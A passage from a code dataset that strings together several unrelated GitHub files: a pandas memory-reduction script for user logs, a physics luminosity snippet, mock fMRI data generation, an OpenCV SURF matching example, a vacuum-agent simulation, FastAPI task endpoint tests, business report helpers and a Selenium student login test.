np.int32, \n\n 'num_75': np.int32, 'num_985': np.int32, 'num_100': np.int32, \n\n 'num_unq': np.int32, 'total_secs': np.float32}\n\nuser_df = None\n\nchunck_number = 0\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0, dtype=dtype_cols):\n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\nprint('done in '+ str(int(time()-t))+'s')\n\nprint('memory usage (MB) : ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\ngain = int(100*(1-current_mem/INITIAL_MEM))\n\nprint('gain :' + str(gain) + '%')\nprint('memory usage (MB) : ')\n\nuser_df.memory_usage(deep=True)/1024**2\nprint('different msno numbers :')\n\nprint(len(user_df.msno.unique()))\n\nprint('ratio of unique msno :')\n\nprint(str(100*len(user_df.msno.unique())/user_df.shape[0])+'%')\nuser_df['msno'] = user_df['msno'].astype('category')\n\nprint(user_df.info(memory_usage='deep'))\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\ngain = int(100*(1-current_mem/INITIAL_MEM))\n\nprint('gain :' + str(gain) + '%')\nfrom datetime import datetime as dt\n\nSTARTDATE = dt(2015, 1, 1)\n\ndef intdate_as_days(intdate):\n\n return (dt.strptime(str(intdate), '%Y%m%d') - STARTDATE).days\n# remark you need to use pandas > 0.19.1 to be able to use category dtype here \n\ndtype_cols = {'msno': 'category', 'date':np.int64, 'num_25': np.int32, 'num_50': np.int32, \n\n 'num_75': np.int32, 'num_985': np.int32, 'num_100': np.int32, \n\n 'num_unq': np.int32, 'total_secs': np.float32}\n\nuser_df = None\n\nchunck_number = 0\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0, dtype=dtype_cols):\n\n df['date'] = df['date'].map(lambda x:intdate_as_days(x))\n\n df['date'] = df['date'].astype(np.int16)\n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\n# if you use pandas<0.19, uncomment next line\n\n# user_df['msno'] = user_df['msno'].astype('category')\n\nprint('done in '+ str(int(time()-t))+'s')\n\nprint('memory usage (MB) : ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\ngain = int(100*(1-current_mem/INITIAL_MEM))\n\nprint('gain :' + str(gain) + '%')\nprint(user_df.info(memory_usage='deep'))\ndtype_cols = {'msno': object, 'date':np.int64, 'num_25': np.int32, 'num_50': np.int32, \n\n 'num_75': np.int32, 'num_985': np.int32, 'num_100': np.int32, \n\n 'num_unq': np.int32, 'total_secs': np.float32}\n\nuser_df = None\n\n\n\n# loading train.csv into another dataframe\n\ntrain_df = pd.read_csv('../input/train.csv', dtype={'msno': object, 'is_churn': np.int8})\n\n\n\n# we compute only unique values of msno, just in case....\n\ncols_msno = train_df['msno'].unique()\n\n\n\nchunck_number = 0\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0, dtype=dtype_cols):\n\n # addition to previous script, we will look only to dataframe's msno which are present in train_df\n\n # only save msno which are already in train_df, \n\n append_cond = df['msno'].isin(cols_msno)\n\n df = df[append_cond]\n\n \n\n # as previously...\n\n df['date'] = df['date'].map(lambda x:intdate_as_days(x))\n\n df['date'] = df['date'].astype(np.int16) \n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\nuser_df['msno'] = user_df['msno'].astype('category')\n\nprint('done in '+ str(int(time()-t))+'s')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint('memory usage (MB) : ' + str(current_mem))\n\ntrain_df = pd.read_csv('../input/train.csv', dtype={'msno': object, 'is_churn': np.int8})\nprint('Memory associated with train_df (MB): ')\n\nTRAIN_INIT_MEM = int(train_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(TRAIN_INIT_MEM)\ntrain_df['msno'] = train_df['msno'].astype('category')\n\nprint('Memory associated with train_df (MB): ')\n\nprint(int(train_df.memory_usage(deep=True).sum()/1024**2))\nprint('different msno numbers in train :')\n\nprint(len(train_df.msno.unique()))\n\nprint('ratio of unique msno in train:')\n\nprint(str(100*len(train_df.msno.unique())/train_df.shape[0])+'%')\n# generate the hash dict\n\nhashkey = {}\n\nindex = 0\n\nmsno_list = train_df['msno'].values\n\nfor msno_idx in range(0, len(msno_list)):\n\n msno = msno_list[msno_idx]\n\n hashkey.update({msno : '{:09x}'.format(msno_idx)})\n\n# this dict can be saved to a csv file to use it after...\n\ncsv_key_file = 'hashkey.csv'\n\nwith open(csv_key_file, 'w') as f:\n\n f.write('msno,hexid\\n')\n\n for k,v in hashkey.items():\n\n f.write('{0},{1}\\n'.format(k,v))\n\n \n\n# if you want to get back msno from dict, generate the 'inverse' dict this way\n\nhashkey_reverse = {}\n\nfor k,v in hashkey.items(): hashkey_reverse.update({v:k})\n\n\n\n# apply this hash to train_df\n\ntrain_df['msno'] = train_df['msno'].map(lambda x:hashkey.get(x,x))\n\ntrain_df['msno'] = train_df['msno'].astype('str')\n\nprint('Memory associated with train_df (MB): ')\n\ncurrent_mem = int(train_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\nprint('Reduction of (%)')\n\nprint(100*(1-current_mem/TRAIN_INIT_MEM))\nuser_df['msno'] = user_df['msno'].map(lambda x:hashkey.get(x,x))\n\nuser_df['msno'] = user_df['msno'].astype('category')\n\n#user_df['msno'] = user_df['msno'].astype('category')\n\nprint('Memory associated with final version of user_df (MB): ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint('Reduction of (%)')\n\nprint(100*(1-current_mem/INITIAL_MEM))","repo_name":"aorursy/new-nb-3","sub_path":"guiyom_user-logs-csv-reduce-memory-with-new-tips.py","file_name":"guiyom_user-logs-csv-reduce-memory-with-new-tips.py","file_ext":"py","file_size_in_byte":8321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17308982809","text":"from pyoptics.luminosity.archive.beam import *\n\n\nb=Beam(N=2e11,alpha=12.27/2,nb=2808,betx=0.15,bety=0.15,emit_n=2.5e-6,sigma_z=0.075)\n\nb.luminosity()\n\n\nb=Beam(N=2.5e11,alpha=6.5,nb=2808,betx=0.55,bety=0.55,emit_n=3.75e-6,sigma_z=0.0755)\nb.luminosity(debug=True)\nb.lumi_solve(5e38,'N')\n\n","repo_name":"rdemaria/pyoptics","sub_path":"pyoptics/luminosity/archive/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"12320773320","text":"import torch\nimport pickle\nimport random\nimport math\nimport numpy as np\nfrom util.config import ROIData\nimport nibabel as nib\nfrom data.subject import Subject\nfrom pathlib import Path\nfrom argparse import ArgumentParser\n\n\ndef calc_roi():\n \"\"\"Load Amygdala ROI matrix, and calculate real voxels and cubic range in each dimension\"\"\"\n img = nib.load(f'RAmyg.nii')\n roi = np.where(np.array(img.dataobj))\n amyg_vox = [vox for vox in zip(*roi)]\n min_sizes = map(min, roi)\n max_sizes = map(max, roi)\n h, w, d = list(map(lambda small, big: list(range(small, big + 1)), min_sizes, max_sizes))\n\n return ROIData(amyg_vox, h, w, d)\n\n\ndef find_nearest_scan(scan, bold_mat):\n min_dist = math.inf\n min_dist_idx = -1\n for i in range(bold_mat.shape[-1]):\n curr_dist = torch.sum(((bold_mat[:,:,:,i] - scan)**2).reshape(scan.shape[0] * scan.shape[1] * scan.shape[2]))\n if curr_dist < min_dist:\n min_dist = curr_dist\n min_dist_idx = i\n return min_dist_idx\n\n\nif __name__ == '__main__':\n\n parser = ArgumentParser()\n\n parser.add_argument('--n_subjects', type=int)\n args = parser.parse_args()\n\n\n\n roi_path = Path('roi_dict.pkl')\n if roi_path.exists():\n roi_dict = pickle.load(open(str(roi_path), 'rb'))\n else:\n roi_dict = calc_roi()\n pickle.dump(roi_dict, open('roi_dict.pkl', 'wb'))\n Subject.voxels_md = roi_dict\n sub_to_md = {}\n regulate_times = [list(range(18)), list(range(18, 36))]\n for i in range(args.n_subjects):\n bold_mat = np.random.rand(91, 109, 91, 36)\n sub = Subject(regulate_times, bold_mat, 'healthy', str(i))\n indices_list = []\n for j in range(sub.paired_windows[0].full_brain_window.bold.shape[-1]):\n x0 = sub.paired_windows[0].full_brain_window.bold[:,:,:,j]\n idx_1 = find_nearest_scan(x0, sub.paired_windows[1].full_brain_window.bold)\n indices_list.append((j, idx_1))\n sub.indices_list = indices_list\n\n pickle.dump(sub, open(f'data/healthy/sub_{i}.pkl', 'wb'))\n sub_to_md[str(i)] = {'age': random.randint(15, 80), 'TAS1': random.random() * 100, 'STAI_S1': random.random() * 100}\n\n pickle.dump(sub_to_md, open(f'data/sub_to_md_healthy.pkl', 'wb'))\n","repo_name":"MICCAI22/fmri_nf","sub_path":"create_mock_data.py","file_name":"create_mock_data.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20863686082","text":"import numpy as np\n\n# fancy indexing\na1 = np.array([2, 60, 80, 4, 6, 8, 2, 90, 10])\nl1 = [4, 5, 6, 1, 3]\nprint(a1[l1])\n# broadcasting:add a3 to each element respectively\na3 = np.array([1, 2, 3])\na4 = np.array([[4, 5, 6], [6, 7, 8], [3, 5, 7]])\na5 = [6]\nprint(a3 + a4)\nprint(a4 + a5)\n","repo_name":"PuspaKamalOli/numpy-in-python","sub_path":"fancy indexing and broadcasting.py","file_name":"fancy indexing and broadcasting.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"74337341799","text":"import cv2\nimport numpy as np\nimport random\n\nimage = cv2.imread('image.jpg')\nimage_rot = cv2.imread('image_rot.jpg')\ngray= cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\ngray_rot = cv2.cvtColor(image_rot,cv2.COLOR_BGR2GRAY)\n\nsurf = cv2.xfeatures2d.SURF_create()\n\nkp, desc = surf.detectAndCompute(gray,None)\nkp_rot, desc_rot = surf.detectAndCompute(gray_rot, None)\n\n# BFMatcher with default params\nbf = cv2.BFMatcher()\nmatches = bf.knnMatch(desc,desc_rot, k=2)\n\n# Apply ratio test\ngood = []\nfor m,n in matches:\n if m.distance < 0.4*n.distance:\n good.append([m])\nrandom.shuffle(good)\n\n# cv2.drawMatchesKnn expects list of lists as matches.\nimage_match = cv2.drawMatchesKnn(image,kp,image_rot,kp_rot,good[:10],flags=2, outImg=None)\n\ncv2.imwrite('surf_matches.jpg',image_match)\n","repo_name":"PacktPublishing/Computer-Vision-with-Python-3","sub_path":"Chapter10/codes/sift.py","file_name":"sift.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"18"} +{"seq_id":"22846516","text":"\"\"\"\nhttps://open.kattis.com/problems/inflation\nAuthor: https://github.com/smh997/\n\"\"\"\nn = int(input())\nli = list(map(int, input().split()))\nli.sort()\nmi = 2\nfor i in range(n):\n if li[i] > i+1:\n print('impossible')\n exit(0)\n mi = min(mi, li[i]/(i+1))\nprint(mi)","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Kattis/inflation.py","file_name":"inflation.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"74489855081","text":"from pessoa import Pessoa\n\np2 = Pessoa('luiz', 18)\n\np2.teste()\n'''\np2.comer('banana')\np2.parar_comer()\np2.comer('banana')\n'''\np2.falar('BBB')\nprint(Pessoa.ano_atual)\n\np1 = Pessoa.por_ano_nascimento('luiz',1999)\nprint(p1.idade)\nprint(p1.gera_id())\n#print(p1.ano_atual) eu tbm posso acessar varial de classe pela instancia\nprint(p1.__dict__)#ele me mostra os dados do objeto em forma de dicionario\n\nclass Produto:\n def __init__(self,nome,preco):\n self.nome = nome\n self.preco = preco\n\n def desconto(self, percentual):\n self.preco = self.preco - (self.preco * (percentual / 100))\n\n @property\n #getter\n def nome(self):\n return self._nome\n\n #setter\n @nome.setter\n def nome(self, valor):\n self._nome = valor.upper()\n\n #utilizar os getter para pegar um valor e o setter para configurar esse valor, para que eu n receba string no preco\n #getter\n @property\n def preco(self):\n return self._preco\n\n #setter, na hora que a instancia é criada o setter já salva com o valor certo\n @preco.setter\n def preco(self, valor):#o valor no caso seria a string\n if isinstance(valor, str):#to pergundo se valor e uma instancia de string, uma classe string\n valor = float(valor.replace('R$',''))\n\n self._preco = valor\n\n\n\n'''\nprod1 = Produto('blusa',100)\nprod1.desconto(10)\nprint(prod1.preco)\n'''\nprod2 = Produto('blusa','R$100')\nprod2.desconto(10)\nprint(prod2.nome,prod2.preco)\nprint(prod2.__dict__)\n","repo_name":"geovanne97/euler_questions","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42800923903","text":"import pytest\nfrom app import schemas\n\n\ndef test_get_all_tasks(authorized_client, test_tasks):\n res = authorized_client.get(\"/tasks/\")\n\n def validate(task):\n return schemas.Task(**task)\n\n tasks_map = map(validate, res.json())\n tasks_list = list(tasks_map)\n\n assert len(res.json()) == len(test_tasks)\n assert res.status_code == 200\n\n\ndef test_unauthorized_user_get_all_tasks(client, test_tasks):\n res = client.get(\"/tasks/\")\n assert res.status_code == 401\n\n\ndef test_unauthorized_user_get_one_task(client, test_tasks):\n res = client.get(f\"/tasks/{test_tasks[0].id}\")\n assert res.status_code == 401\n\n\ndef test_get_one_task_not_exist(authorized_client, test_tasks):\n res = authorized_client.get(f\"/tasks/88888\")\n assert res.status_code == 404\n\n\ndef test_get_one_post(authorized_client, test_tasks):\n res = authorized_client.get(f\"/tasks/{test_tasks[0].id}\")\n task = schemas.Task(**res.json())\n assert task.id == test_tasks[0].id\n assert task.content == test_tasks[0].content\n assert task.title == test_tasks[0].title\n\n\n@pytest.mark.parametrize(\"title, content, published\", [\n (\"awesome new title\", \"awesome new content\", True),\n (\"favorite pizza\", \"i love pepperoni\", False),\n (\"tallest skyscrapers\", \"wahoo\", True),\n])\ndef test_create_task(authorized_client, test_user, test_tasks, title, content, published):\n res = authorized_client.post(\n \"/tasks/\", json={\"title\": title, \"content\": content, \"published\": published})\n\n created_task = schemas.Task(**res.json())\n assert res.status_code == 201\n assert created_task.title == title\n assert created_task.content == content\n assert created_task.published == published\n assert created_task.owner_id == test_user['id']\n\n\ndef test_create_task_default_published_true(authorized_client, test_user, test_tasks):\n res = authorized_client.post(\n \"/tasks/\", json={\"title\": \"arbitrary title\", \"content\": \"aasdfjasdf\"})\n\n created_task = schemas.Task(**res.json())\n assert res.status_code == 201\n assert created_task.title == \"arbitrary title\"\n assert created_task.content == \"aasdfjasdf\"\n assert created_task.published == True\n assert created_task.owner_id == test_user['id']\n\n\ndef test_unauthorized_user_create_task(client, test_user, test_tasks):\n res = client.post(\n \"/tasks/\", json={\"title\": \"arbitrary title\", \"content\": \"aasdfjasdf\"})\n assert res.status_code == 401\n\n\ndef test_unauthorized_user_delete_task(client, test_user, test_tasks):\n res = client.delete(\n f\"/tasks/{test_tasks[0].id}\")\n assert res.status_code == 401\n\n\ndef test_delete_task_success(authorized_client, test_user, test_tasks):\n res = authorized_client.delete(\n f\"/tasks/{test_tasks[0].id}\")\n\n assert res.status_code == 204\n\n\ndef test_delete_task_non_exist(authorized_client, test_user, test_tasks):\n res = authorized_client.delete(\n f\"/tasks/8000000\")\n\n assert res.status_code == 404\n\n\ndef test_delete_other_user_task(authorized_client, test_user, test_tasks):\n res = authorized_client.delete(\n f\"/tasks/{test_tasks[3].id}\")\n assert res.status_code == 403\n\n\ndef test_update_task(authorized_client, test_user, test_tasks):\n data = {\n \"title\": \"updated title\",\n \"content\": \"updatd content\",\n \"id\": test_tasks[0].id\n\n }\n res = authorized_client.put(f\"/tasks/{test_tasks[0].id}\", json=data)\n updated_task = schemas.Task(**res.json())\n assert res.status_code == 200\n assert updated_task.title == data['title']\n assert updated_task.content == data['content']\n\n\ndef test_update_other_user_task(authorized_client, test_user, test_user2, test_tasks):\n data = {\n \"title\": \"updated title\",\n \"content\": \"updatd content\",\n \"id\": test_tasks[3].id\n\n }\n res = authorized_client.put(f\"/tasks/{test_tasks[3].id}\", json=data)\n assert res.status_code == 403\n\n\ndef test_unauthorized_user_update_task(client, test_user, test_tasks):\n res = client.put(\n f\"/tasks/{test_tasks[0].id}\")\n assert res.status_code == 401\n\n\ndef test_update_task_non_exist(authorized_client, test_user, test_tasks):\n data = {\n \"title\": \"updated title\",\n \"content\": \"updatd content\",\n \"id\": test_tasks[3].id\n\n }\n res = authorized_client.put(\n f\"/tasks/8000000\", json=data)\n\n assert res.status_code == 404\n","repo_name":"nearbad/fastapi_project","sub_path":"tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28782664024","text":"#Alunos: Amanda Constante, Karoline Custodio, Vitor Baptista e Jonas Schuh\n\n#Responda: E para um mundo 6 x 6? Explique sua resposta.\n#No momento nao, por que a matriz e a analise do ambiente nao criada de forma fixa.\n\n# o cinza eh a sujeira e o preto eh o limpo\n#o verde sao as paredes\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n#Matriz inicial limpa com as paredes\nmatriz = np.array([[1,1,1,1,1,1],\n [1,0,0,0,0,1],\n [1,0,0,0,0,1],\n [1,0,0,0,0,1],\n [1,0,0,0,0,1],\n [1,1,1,1,1,1]\n ])\n\n# Função que exibe o ambiente na tela\ndef exibir(I): \n global posAPAx\n global posAPAy\n # Altera o esquema de cores do ambiente\n plt.imshow(I, 'gray')\n plt.nipy_spectral() \n #plt.plot([posAPAy],[posAPAx], marker='o', color='r', ls='')\n plt.show(block=False)\n # Pausa a execucao do codigo por 0.5 segundos para facilitar a visualizacao\n plt.pause(1) \n plt.clf()\n \n#funcao que constroi o ambiente \n#Percorre a matriz exluindo os extremos que sao 1 e insere as sujeiras aleatoriamente \ndef construirAmbiente():\n for linha in range(6):\n for coluna in range(6):\n if (linha >= 1 and coluna >= 1) and (linha < 5 and coluna < 5):\n limpoOuSujo = random.randint(0, 2)\n if limpoOuSujo == 1:\n matriz[linha][coluna] = 0\n else:\n matriz[linha][coluna] = limpoOuSujo \n \n\ndef imprimir(linha, coluna):\n plt.plot([linha],[coluna], marker='o', color='r', ls='')\n exibir(matriz)\n\n#Verifica qual direcao ele vai\ndef agenteReativoSimples(linha, coluna):\n\n imprimir(coluna, linha)\n if matriz[linha][coluna] == 2:\n matriz[linha][coluna] = 0\n return \"aspirar\"\n else:\n if coluna == 1:\n print(\"Estado da percepcao:0 Acao escolhida: abaixo\")\n return \"abaixo\"\n if (linha == 4 or linha ==2) and coluna!=4:\n print(\"Estado da percepcao:0 Acao escolhida: direita\")\n return \"direita\"\n if coluna == 1 or (linha==2 and coluna==2) or (linha==3 and coluna==2) or (linha==4 and coluna==4) or (linha==2 and coluna==4):\n print(\"Estado da percepcao:0 Acao escolhida: acima\")\n return \"acima\"\n if linha == 3 or linha == 1:\n print(\"Estado da percepcao:0 Acao escolhida: esquerda\")\n return \"esquerda\"\n\n#Define o caminho padrao para o robo no tabuleiro\ndef mapeamento(): \n agenteReativoSimples(1, 1)\n agenteReativoSimples(2, 1)\n agenteReativoSimples(3, 1)\n agenteReativoSimples(4, 1)\n \n agenteReativoSimples(4, 2)\n agenteReativoSimples(4, 3)\n agenteReativoSimples(4, 4)\n \n agenteReativoSimples(3, 4)\n agenteReativoSimples(3, 3)\n agenteReativoSimples(3, 2)\n \n agenteReativoSimples(2, 2)\n agenteReativoSimples(2, 3)\n agenteReativoSimples(2, 4)\n \n agenteReativoSimples(1, 4)\n agenteReativoSimples(1, 3)\n agenteReativoSimples(1, 2)\n agenteReativoSimples(1, 1)\n\nprint(matriz)\nconstruirAmbiente()\nprint(matriz)\nexibir(matriz)\nmapeamento()\n","repo_name":"amandadetofol/ia","sub_path":"Simple Agent - Vacuum cleaner.py","file_name":"Simple Agent - Vacuum cleaner.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"38818755427","text":"from flask.json import dumps, jsonify\nfrom sima_web_api.api.product.models import Product\nfrom sima_web_api.api.sale.models import Sale, SaleList\nfrom sima_web_api.api.stock.models import Stock\nfrom collections import Counter\n\ndef compute_total_buying_price(stock_list):\n data = {\"total_buying_price\": 0}\n for stock in stock_list.stocks:\n data[\"total_buying_price\"] += stock.buying_price\n return data\n\n\ndef compute_total_selling_price(sale_list):\n data = {\"total_selling_price\": 0}\n for sale in sale_list.sales:\n data[\"total_selling_price\"] += sale.selling_price\n return data\n\n\ndef compute_total_quantity_stocklist(stock_list):\n data = {\"total_quantity\": 0}\n for stock in stock_list.stocks:\n data[\"total_quantity\"] += stock.quantity\n return data\n\n\ndef compute_total_quantity_salelist(sale_list):\n data = {\"total_quantity\": 0}\n for sale in sale_list.sales:\n data[\"total_quantity\"] += sale.quantity\n return data\n\n\n# Data for report generated\ndef report_compute_sales_for_product(product_id):\n product_sales = Sale.query.filter_by(product_id=product_id)\n total_sales = 0\n total_quantity = 0\n for sale in product_sales:\n total_sales += sale.selling_price\n total_quantity += sale.quantity\n return {\"total_sales\": total_sales, \"total_quantity\": total_quantity}\n\n\ndef report_compute_stocks_for_product(product_id):\n product_stock = Stock.query.filter_by(product_id=product_id)\n total_stock = 0\n total_quantity = 0\n for stock in product_stock:\n total_stock += stock.buying_price\n total_quantity += stock.quantity\n return {\"total_stock\": total_stock, \"total_quantity\": total_quantity}\n\n\ndef next_page_items(items, items_per_page, page_number):\n # Beginning of next page\n np_start = (page_number - 1) * items_per_page\n\n # End of next page\n np_end = page_number * items_per_page\n\n # Total items\n total_item_count = len(items)\n\n # Total number of pages\n if total_item_count % items_per_page == 0:\n total_page_count = total_item_count // items_per_page\n else:\n total_page_count = total_item_count // items_per_page + 1\n\n detail = {\n \"start\": np_start,\n \"end\": np_end,\n \"total_item_count\": total_item_count,\n \"total_page_count\": total_page_count,\n }\n\n try:\n detail[\"page_items\"] = items[detail[\"start\"] : detail[\"end\"]]\n return detail\n except:\n detail[\"page_items\"] = items[items_per_page * page_number :]\n return detail\n\n# TODO: Finish the implementation\ndef get_top_customers(business_id):\n business_salelists = SaleList.query.filter_by(business_id=business_id)\n business_customer_json = list()\n Counter\n for salelist in business_salelists:\n if salelist.customer_name == \"None\" or salelist.customer_contact == \"None\":\n pass\n else:\n business_customer_json.append(\n {\n \"salelist_id\": salelist.id,\n \"customer_name\": salelist.customer_name,\n \"customer_contact\": salelist.customer_contact,\n }\n )\n# TODO: Fix serialization problem\ndef get_top_selling_products(business_id):\n # Get all business products\n business_products = Product.query.filter_by(business_id=business_id)\n \n # Business products info\n business_products_info = {}\n \n for product in business_products:\n sales_info = report_compute_sales_for_product(product_id=product.id)\n business_products_info[f\"{product.name}\"] = {\n \"total_sales_quantity\": dumps(sales_info[\"total_sales\"]),\n \"total_sales_money\": sales_info[\"total_quantity\"]\n }\n business_products_info = dict(business_products_info.items(),key=lambda x:x[1][\"total_sales_money\"],reverse=True)\n del business_products_info[\"key\"]\n del business_products_info[\"reverse\"]\n return business_products_info\n\n# TODO: Fix serialization problem\ndef get_products_low_on_stock(business_id):\n # Get all business products\n business_products = Product.query.filter_by(business_id=business_id)\n\n # Business products info\n business_products_info = {}\n\n for product in business_products:\n sales_info = report_compute_sales_for_product(product_id=product.id)\n stock_info = report_compute_stocks_for_product(product_id=product.id)\n business_products_info[f\"{product.name}\"] = {\n \"total_sales_quantity\": sales_info[\"total_quantity\"],\n \"total_stock_quantity\": stock_info[\"total_quantity\"],\n \"total_items_remaining\": dumps(stock_info[\"total_quantity\"] - sales_info[\"total_quantity\"])\n }\n\n business_products_info = dict(business_products_info.items(),key=lambda x:x[1][\"total_items_remaining\"])\n del business_products_info[\"key\"]\n return business_products_info\n","repo_name":"yeboah326/Garage97","sub_path":"sima_web_api/api/business/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"21118808364","text":"\"\"\"\nYou come across a dictionary of sorted words in a language you've never seen before.\nWrite a program that returns the correct order of letters in this language.\nFor example,\n given ['xww', 'wxyz', 'wxyw', 'ywx', 'ywz'],\n you should return ['x', 'z', 'w', 'y'].\n\"\"\"\nfrom typing import List\n\n\ndef get_characters(dictionary: List[str]) -> set:\n s = set()\n\n for word in dictionary:\n for char in word:\n s.add(char)\n\n return s\n\n\ndef dfs(graph: dict, src: str, visited: set, pool: List) -> List[str]:\n visited.add(src)\n\n for dst in graph[src]:\n if dst not in visited:\n pool = dfs(graph, dst, visited, pool)\n\n pool.append(src)\n return pool\n\n\ndef topological_sorting(graph: dict) -> List[str]:\n visited = set()\n pool = []\n\n for src in graph.keys():\n if src not in visited:\n pool = dfs(graph, src, visited, pool)\n\n return pool[::-1]\n\n\ndef order_of_letters(dictionary: List[str]) -> List[str]:\n characters = get_characters(dictionary)\n index = 0\n size = len(dictionary)\n\n hash_map = {}\n\n for char in characters:\n hash_map[char] = []\n\n while index < size - 1:\n for c1, c2 in zip(dictionary[index], dictionary[index + 1]):\n if c1 != c2:\n hash_map[c1].append(c2)\n break\n\n index += 1\n\n # topological sort\n return topological_sorting(hash_map)\n\n\nif __name__ == \"__main__\":\n assert order_of_letters([\"xww\", \"wxyz\", \"wxyw\", \"ywx\", \"ywz\"]) == [\"x\", \"z\", \"w\", \"y\"]\n assert order_of_letters([\"baa\", \"abcd\", \"abca\", \"cab\", \"cad\"]) == [\"b\", \"d\", \"a\", \"c\"]\n","repo_name":"rrwt/daily-coding-challenge","sub_path":"daily_problems/problem_201_to_300/226.py","file_name":"226.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8464301149","text":"import gym\nimport gym_minigrid\nimport dreamerv2.api as dv2\n\nconfig = dv2.defaults.update({\n 'logdir': '~/logdir/minigrid',\n 'log_every': 1e3,\n 'train_every': 10,\n 'prefill': 1e5,\n 'actor_ent': 3e-3,\n 'loss_scales.kl': 1.0,\n 'discount': 0.99,\n}).parse_flags()\n\nenv = gym.make('MiniGrid-DoorKey-6x6-v0')\nenv = gym_minigrid.wrappers.RGBImgPartialObsWrapper(env)\ndv2.train(env, config)\n","repo_name":"danijar/dreamerv2","sub_path":"examples/minigrid.py","file_name":"minigrid.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":801,"dataset":"github-code","pt":"44"} +{"seq_id":"73666854214","text":"from ..models import *\nfrom django.contrib.auth.models import User\nfrom selenium.webdriver.support.wait import WebDriverWait\ntimeout = 15\nimport pytz\nimport datetime\nfrom datetime import date\nfrom .selenium_test import SeleniumTest\nfrom django.conf import settings\nimport re\n\n\nclass StudentSeleniumTest(SeleniumTest):\n\n @classmethod\n def setUpClass(cls):\n super(StudentSeleniumTest, cls).setUpClass()\n\n\n def setUp(self):\n self.password = \"stud_password\"\n self.ccid = \"student\"\n self.first_name = \"A\"\n self.last_name = \"Student\"\n self.email = \"student@csjawards.ca\"\n self.lang_pref = \"en\"\n self.student_id = \"123456789\"\n self.program_name = \"A Program Name\"\n self.program_code = \"A Code\"\n self.year_name = \"Year 1\"\n self.program = Program.objects.create(name=self.program_name, code=self.program_code)\n self.year = YearOfStudy.objects.create(year=self.year_name)\n\n\n self.user = User.objects.create_user(username=self.ccid,\n password=self.password)\n\n self.student = Student.objects.create(ccid=self.ccid, first_name=self.first_name,\n last_name=self.last_name, email=self.email,\n user=self.user, lang_pref=self.lang_pref,\n student_id=self.student_id, program = self.program,\n year = self.year)\n\n self.user = User.objects.get(username=self.ccid)\n\n self.selenium.get('%s%s' % (self.live_server_url, '/login/'))\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_id(\"id_username\"))\n\n username = self.selenium.find_element_by_id(\"id_username\")\n username.send_keys(self.ccid)\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_id(\"id_password\"))\n\n password =self.selenium.find_element_by_id(\"id_password\")\n password.send_keys(self.password)\n\n save = self.selenium.find_element_by_css_selector(\"button.btn:nth-child(5)\")\n save.click()\n\n WebDriverWait(self.selenium, timeout).until(\n lambda driver: driver.find_element_by_tag_name('body'))\n\n\n def tearDown(self):\n self.selenium.get('%s%s' % (self.live_server_url, '/logout/'))\n\n\n\n def test_student_apply(self):\n self.award_name = \"An Award Name\"\n self.award_description = \"An Award Description\"\n self.award_value = \"An Award Value\"\n self.award_start_date = date(date.today().year, 1, 1)\n self.award_end_date = date(date.today().year, 12, 31)\n self.award_documents_needed = True\n self.award_is_active = True\n\n\n self.award = Award.objects.create(name=self.award_name, description=self.award_description, value=self.award_value,\n start_date=self.award_start_date, end_date=self.award_end_date,\n 